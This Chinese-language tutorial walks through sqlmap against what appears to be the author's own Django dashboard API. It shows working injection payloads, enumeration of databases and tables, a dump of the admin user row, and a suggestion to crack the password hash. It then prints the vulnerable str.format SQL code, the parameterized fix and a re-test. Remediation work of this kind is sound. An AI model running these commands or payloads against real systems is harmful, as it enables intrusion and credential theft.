使用Sqlmap进行SQL注入实战
1 安装sqlmap
http://sqlmap.org/
mkvirtualenv -p python3 sec
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd 目录，查看使用方法
python sqlmap.py -hh
2 使用sqlmap
2.1 查看使用文档 -h/-hh
(sec) ╭─didi@niu ~/workspace/virtualenv/sec/sqlmap-dev ‹master*›
╰─$ python sqlmap.py -hh
___
__H__
___ ___[.]_____ ___ ___ {1.3.8.12#dev}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
Usage: python sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-d DIRECT Connection string for direct database connection
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header value
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Test requests between two visits to a given safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or
xxx
...
...
...
2.2 指到注入目标 -u
-u URL, --url=URL
-u 后接url，查看是否有可注入点，例如：
python sqlmap.py -u http://172.20.201.203:9000/apis/dashboard/typetopcount\?method\=POST\&topCount\=3
[11:26:38] [WARNING] GET parameter 'topCount' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 3138 HTTP(s) requests:
---
Parameter: method (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=POST' AND 5176=5176 AND 'EvFC'='EvFC&topCount=3
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: method=POST' AND (SELECT 2244 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(2244=2244,1))),0x7170717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CWNF'='CWNF&topCount=3
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: method=POST' AND (SELECT 8526 FROM (SELECT(SLEEP(5)))yhHi) AND 'Djtf'='Djtf&topCount=3
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: method=POST' UNION ALL SELECT CONCAT(0x716a7a6b71,0x685773786e4b6578754b534c4a79487979684b46586a77546d6a69656677786e7748474a4a746177,0x7170717871),NULL-- rehY&topCount=3
---
[11:26:38] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[11:26:38] [INFO] fetched data logged to text files under '/Users/didi/.sqlmap/output/172.20.201.203'
2.3 获取数据库 –dbs –current-db
--dbs 列出所有数据库
--current-db 当前数据库
[11:46:17] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[11:46:17] [INFO] fetching current database
current database: 'itapidb'
[11:46:17] [INFO] fetching database names
available databases [16]:
[*] db_platform
[*] information_schema
[*] itapidb
[*] mysql
[*] performance_schema
[*] sys
[*] tests
...
...
[11:46:17] [INFO] fetched data logged to text files under '/Users/didi/.sqlmap/output/172.20.201.203'
2.4 查询数据库的表 –tables
-D '数据库' --tables
python sqlmap.py -u http://172.20.201.203:9000/apis/dashboard/typetopcount\?method\=POST\&topCount\=3 -D 'itapidb' --tables
[14:17:31] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[14:17:31] [INFO] fetching tables for database: 'itapidb'
Database: itapidb
[36 tables]
+---------------------------------------+
| apis_basemailgroupmodel |
| apis_basemailmodel |
...
...
| apis_depmailjobmodel |
| apis_mailcapacitionmodel |
| apis_mailgroupcreatemodel |
...
...
| auth_group |
| auth_group_permissions |
| auth_permission |
| auth_user |
| auth_user_groups |
| auth_user_user_permissions |
| django_admin_log |
| django_content_type |
| django_migrations |
...
...
| supervision_apismodel |
+---------------------------------------+
[14:17:31] [INFO] fetched data logged to text files under '/Users/didi/.sqlmap/output/172.20.201.203'
2.5 查询表的数据项 –columns
python sqlmap.py -u http://172.20.201.203:9000/apis/dashboard/typetopcount\?method\=POST\&topCount\=3 -D 'itapidb' -T 'auth_user' --columns
[14:19:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[14:19:45] [INFO] fetching columns for table 'auth_user' in database 'itapidb'
Database: itapidb
Table: auth_user
[11 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| date_joined | datetime(6) |
| email | varchar(254) |
| first_name | varchar(30) |
| id | int(11) |
| is_active | tinyint(1) |
| is_staff | tinyint(1) |
| is_superuser | tinyint(1) |
| last_login | datetime(6) |
| last_name | varchar(150) |
| password | varchar(128) |
| username | varchar(150) |
+--------------+--------------+
[14:19:45] [INFO] fetched data logged to text files under '/Users/didi/.sqlmap/output/172.20.201.203'
2.6 查询数据库用户与密码 –users –passwords
python sqlmap.py -u http://172.20.201.203:9000/apis/dashboard/typetopcount\?method\=POST\&topCount\=3 --users
[14:21:05] [INFO] fetching database users
database management system users [1]:
[*] 'db_itapi_dpl'@'%'
[14:21:05] [INFO] fetched data logged to text files under '/Users/didi/.sqlmap/output/172.20.201.203'
2.7 获取数据库表内容 –dump
python sqlmap.py -u http://172.20.201.203:9000/apis/dashboard/typetopcount\?method\=POST\&topCount\=3 -D 'itapidb' -T 'auth_user' --dump
___
__H__
___ ___[.]_____ ___ ___ {1.3.8.12#dev}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[14:26:10] [INFO] resuming back-end DBMS 'mysql'
[14:26:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: method (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=POST' AND 5176=5176 AND 'EvFC'='EvFC&topCount=3
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: method=POST' AND (SELECT 2244 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(2244=2244,1))),0x7170717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CWNF'='CWNF&topCount=3
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: method=POST' AND (SELECT 8526 FROM (SELECT(SLEEP(5)))yhHi) AND 'Djtf'='Djtf&topCount=3
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: method=POST' UNION ALL SELECT CONCAT(0x716a7a6b71,0x685773786e4b6578754b534c4a79487979684b46586a77546d6a69656677786e7748474a4a746177,0x7170717871),NULL-- rehY&topCount=3
---
[14:26:10] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[14:26:10] [INFO] fetching columns for table 'auth_user' in database 'itapidb'
[14:26:10] [INFO] fetching entries for table 'auth_user' in database 'itapidb'
Database: itapidb
Table: auth_user
[1 entry]
+----+---------+----------+--------------------------------------------------------------------------------+----------+-----------+-----------+------------+----------------------------+----------------------------+--------------+
| id | email | is_staff | password | username | is_active | last_name | first_name | last_login | date_joined | is_superuser |
+----+---------+----------+--------------------------------------------------------------------------------+----------+-----------+-----------+------------+----------------------------+----------------------------+--------------+
| 1 | <blank> | 1 | pbkdf2_sha256$150000$lxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx | admin | 1 | <blank> | <blank> | 2018-04-14 18:16:53.846708 | 2018-03-26 11:56:54.734852 | 1 |
+----+---------+----------+--------------------------------------------------------------------------------+----------+-----------+-----------+------------+----------------------------+----------------------------+--------------+
[14:26:11] [INFO] table 'itapidb.auth_user' dumped to CSV file '/Users/didi/.sqlmap/output/172.20.201.203/dump/itapidb/auth_user.csv'
[14:26:11] [INFO] fetched data logged to text files under '/Users/didi/.sqlmap/output/172.20.201.203'
这里密码做了隐藏，将表的内容dump下来，发现存在admin用户，密码是经过Django pbkdf2_sha256加密的。可以通过Django的加密，对比进行密码破解。
Sqlmap 更多命令
可以参考一个博客：
https://vul-hunters.oschina.io/hunter-blogs/posts/sec-tools-sqlmap/
3 漏洞分析
源代码：
class ApisRecordView(APIView):
def get(self,request,*args,**kwargs):
#sqlcmd = "SELECT * FROM rest_framework_tracking_apirequestlog where status_code != 200"
queryMinId = int(self.request.query_params.get('queryMinId'))
queryMaxId = int(self.request.query_params.get('queryMaxId'))
hasIdNumber = int(self.request.query_params.get('hasIdNumber'))
eachQueryNumber = int(self.request.query_params.get('eachQueryNumber'))
queryMethod = self.request.query_params.get('method')
SqlQuertUp = "SELECT * FROM rest_framework_tracking_apirequestlog where method = %s AND id > %s ORDER BY id DESC"
sqlQueryNewestRecords = dbOperate.execute(SqlQuertUp,[queryMethod,queryMinId])
if(sqlQueryNewestRecords) :
queryMinId = sqlQueryNewestRecords[0]["id"]
xxx
return response
class ApisDashboardViewSet(viewsets.ModelViewSet):
queryset = ApisModel.objects.all()
serializer_class = ApisSerializer
@action(detail=False, methods=['GET'], url_path='frequency', url_name="dashboard_frequency")
def frequency(self,request, *args, **kwargs) :
contentList = []
queryMethod = self.request.query_params.get('method')
topCount = self.request.query_params.get('topCount')
sqlQueryTopCount = "SELECT path as itemPath, count(*) as count from rest_framework_tracking_apirequestlog WHERE method = '{0}' GROUP BY path ORDER BY count DESC LIMIT {1};".format(queryMethod,topCount)
sqlExecResult = dbmodel().execute(sqlQueryTopCount)
if(sqlExecResult) :
contentList = sqlExecResult
xxxxx
return response
@action(detail=False, methods=['GET'], url_path='typetopcount', url_name="dashboard_typetopcount")
def typetopcount(self,request, *args, **kwargs) :
contentList = []
queryMethod = self.request.query_params.get('method')
topCount = self.request.query_params.get('topCount')
sqlQueryMailTopCount = "SELECT path as itemPath, count(*) as count FROM rest_framework_tracking_apirequestlog where method = '{0}' AND path REGEXP '^/mail/' GROUP BY path ORDER BY count DESC LIMIT {1};".format(queryMethod,topCount)
dbOperate = dbmodel()
sqlExecMailResult = dbOperate.execute(sqlQueryMailTopCount)
if(sqlExecMailResult) :
for itemDict in sqlExecMailResult :
itemDict['apiType'] = "邮箱"
xxxxx
return response
有问题是后两个action，后面两个SQL查询使用
SQLcmd = "{0} {1}".format(args1,args2)
db.execute(SQLcmd)
没有使用Django ORM
4 漏洞修复
按照Django ORM形式执行SQL命令，正如 action 1 ：
SQLcmd = "%s %s"
db.execute(SQLcmd,[args1,args2])
注意注意：
如果参数是整数，必须换成整数，不然汇报如下错误：
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1
原因在于：
limit 后必须跟整数，但是浏览器get传输的 topCount 是字符串，所以必须要：
topCount = int(self.request.query_params.get('topCount'))
修复后代码：
class ApisRecordView(APIView):
def get(self,request,*args,**kwargs):
#sqlcmd = "SELECT * FROM rest_framework_tracking_apirequestlog where status_code != 200"
queryMinId = int(self.request.query_params.get('queryMinId'))
queryMaxId = int(self.request.query_params.get('queryMaxId'))
hasIdNumber = int(self.request.query_params.get('hasIdNumber'))
eachQueryNumber = int(self.request.query_params.get('eachQueryNumber'))
queryMethod = self.request.query_params.get('method')
SqlQuertUp = "SELECT * FROM rest_framework_tracking_apirequestlog where method = %s AND id > %s ORDER BY id DESC"
sqlQueryNewestRecords = dbOperate.execute(SqlQuertUp,[queryMethod,queryMinId])
if(sqlQueryNewestRecords) :
queryMinId = sqlQueryNewestRecords[0]["id"]
xxx
return response
class ApisDashboardViewSet(viewsets.ModelViewSet):
queryset = ApisModel.objects.all()
serializer_class = ApisSerializer
@action(detail=False, methods=['GET'], url_path='frequency', url_name="dashboard_frequency")
def frequency(self,request, *args, **kwargs) :
contentList = []
queryMethod = self.request.query_params.get('method')
topCount = int(self.request.query_params.get('topCount'))
sqlQueryTopCount = "SELECT path as itemPath, count(*) as count from rest_framework_tracking_apirequestlog WHERE method = %s GROUP BY path ORDER BY count DESC LIMIT %s;"
sqlExecResult = dbmodel().execute(sqlQueryTopCount,[queryMethod, topCount])
if(sqlExecResult) :
contentList = sqlExecResult
xxxxx
return response
@action(detail=False, methods=['GET'], url_path='typetopcount', url_name="dashboard_typetopcount")
def typetopcount(self,request, *args, **kwargs) :
contentList = []
queryMethod = self.request.query_params.get('method')
topCount = int(self.request.query_params.get('topCount'))
sqlQueryMailTopCount = "SELECT path as itemPath, count(*) as count FROM rest_framework_tracking_apirequestlog where method = %s AND path REGEXP '^/mail/' GROUP BY path ORDER BY count DESC LIMIT %s;"
dbOperate = dbmodel()
sqlExecMailResult = dbOperate.execute(sqlQueryMailTopCount, [queryMethod, topCount])
if(sqlExecMailResult) :
for itemDict in sqlExecMailResult :
itemDict['apiType'] = "邮箱"
xxxxx
return response
5 修复后再验证
首先清除上次SQLmap的缓存：
方法一：使用--flush-session --fresh-queries
方法二：直接删除sqlmap output文件夹下的对应的IP目录
python sqlmap.py -u http://172.20.201.203:9000/apis/dashboard/typetopcount\?method\=POST\&topCount\=3 --flush-session --fresh-queries
检验是否修复成功
python sqlmap.py -u http://172.20.201.203:9000/apis/dashboard/typetopcount\?method\=POST\&topCount\=3 -v 3 --threads=4
[17:54:29] [WARNING] GET parameter 'topCount' does not seem to be injectable
[17:54:29] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
可以看到，目前并没有探测到SQL注入点，将level、risk设为最大，再次探测：
[18:24:11] [WARNING] parameter 'topCount' does not seem to be injectable
[18:24:11] [CRITICAL] all tested parameters do not appear to be injectable. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
可以发现，已经探测不出来了。证明修复成功。
